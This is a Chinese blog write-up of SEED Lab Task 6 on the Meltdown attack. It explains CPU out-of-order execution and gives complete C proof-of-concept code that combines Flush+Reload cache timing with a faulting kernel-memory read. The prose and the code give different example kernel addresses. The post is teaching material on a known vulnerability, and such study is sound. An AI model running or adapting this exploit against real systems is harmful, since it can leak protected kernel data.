Meltdown Attack(6) - Seed Lab

Task 6 CPU的乱序执行

这是Meltdown Attack的第l六个实验,原实验教程在此:
https://seedsecuritylabs.org/Labs_16.04/System/Meltdown_Attack/

从前面的任务中,我们可以知道,当一个程序试图读取内核内存时,访问会失败,并且产生一个异常。让我们看看下面的代码。

number = 0;
*kernel_address = (char*)0xf9ce8000;
kernel_data = *kernel_address;
number = number + kernel_data;

这段代码在第三行的时候会发生异常,因为fb61b000这个地址属于内核区域。所以第四行代码就不会被执行,因此number就仍然为0。

这种说法从CPU外部的角度看起来是正确的。然而实际上,从微体系结构的角度来看,第3行的代码会成功拿到内核的数据,第四行代码也会被执行。这是由于现代CPU乱序执行的机制导致的。如果CPU按指令原有的顺序一条一条地执行,当其中一条指令耗时比较长的时候,后面的指令就要等前面的指令完成才能执行,这就导致CPU中执行等待指令的单元空闲出来了,大大降低了CPU性能。因此CPU引入了乱序执行机制,让后面的指令可以超车到前面来执行,这样就可以充分利用CPU的所有部件,来提高CPU的性能。

在上面的代码中,第三行代码实际上完成了两个操作。第一个操作是加载数据,第二个操作是检查这个数据访问是否合法。如果数据已经在cache中了,那么第一个操作是很快完成的,而第二个操作就要等一会。所以为了避免等待,CPU会继续执行第四行的代码,同时并行执行第三行的第二个操作。直到检查完成,执行的结果是不会提交,所以我们也看不到第四行的执行结果。这样,你也许会说,那么这样不就保证安全了吗?

但是,Intel和其他做CPU的人犯了一个错误,这个错误导致了熔断攻击。虽然他们抹去了乱序执行对于内存和寄存器的影响。但是他们忽略了乱序执行对于cache的影响。由于乱序执行,第四行代码的结果也被存入到了cache中。那么我们使用Task1和2中提到的侧信道技术,就能观测到乱序执行对cache产生的影响,进而获取到secret data。

本次实验来观察乱序执行造成的影响。实验的代码如下:

#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <setjmp.h>
#include <fcntl.h>
#include <emmintrin.h>
#include <x86intrin.h>

/*********************** Flush + Reload ************************/
uint8_t array[256*4096];
/* cache hit time threshold assumed*/
#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024

void flushSideChannel()
{
  int i;

  // Write to array to bring it to RAM to prevent Copy-on-write
  for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;

  //flush the values of the array from cache
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 + DELTA]);
}

void reloadSideChannel() 
{
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  for(i = 0; i < 256; i++){
     addr = &array[i*4096 + DELTA];
     time1 = __rdtscp(&junk);
     junk = *addr;
     time2 = __rdtscp(&junk) - time1;
     if (time2 <= CACHE_HIT_THRESHOLD){
         printf("array[%d*4096 + %d] is in cache.\n",i,DELTA);
         printf("The Secret = %d.\n",i);
     }
  }	
}
/*********************** Flush + Reload ************************/

void meltdown(unsigned long kernel_data_addr)
{
  char kernel_data = 0;
   
  // The following statement will cause an exception
  kernel_data = *(char*)kernel_data_addr;     
  array[7 * 4096 + DELTA] += 1;          
}

void meltdown_asm(unsigned long kernel_data_addr)
{
   char kernel_data = 0;
   
   // Give eax register something to do
   asm volatile(
       ".rept 400;"                
       "add $0x141, %%eax;"
       ".endr;"                    
    
       :
       :
       : "eax"
   ); 
    
   // The following statement will cause an exception
   kernel_data = *(char*)kernel_data_addr;  
   array[kernel_data * 4096 + DELTA] += 1;           
}

// signal handler
static sigjmp_buf jbuf;
static void catch_segv()
{
  siglongjmp(jbuf, 1);
}

int main()
{
  // Register a signal handler
  signal(SIGSEGV, catch_segv);

  // FLUSH the probing array
  flushSideChannel();
    
  if (sigsetjmp(jbuf, 1) == 0) {
      meltdown(0xf9ce8000);    //replace actual address found from the kernel moudle
  }
  else {
      printf("Memory access violation!\n");
  }

  // RELOAD the probing array
  reloadSideChannel();                     
  return 0;
}

运行该代码,实验结果如下。
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

破落之实

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值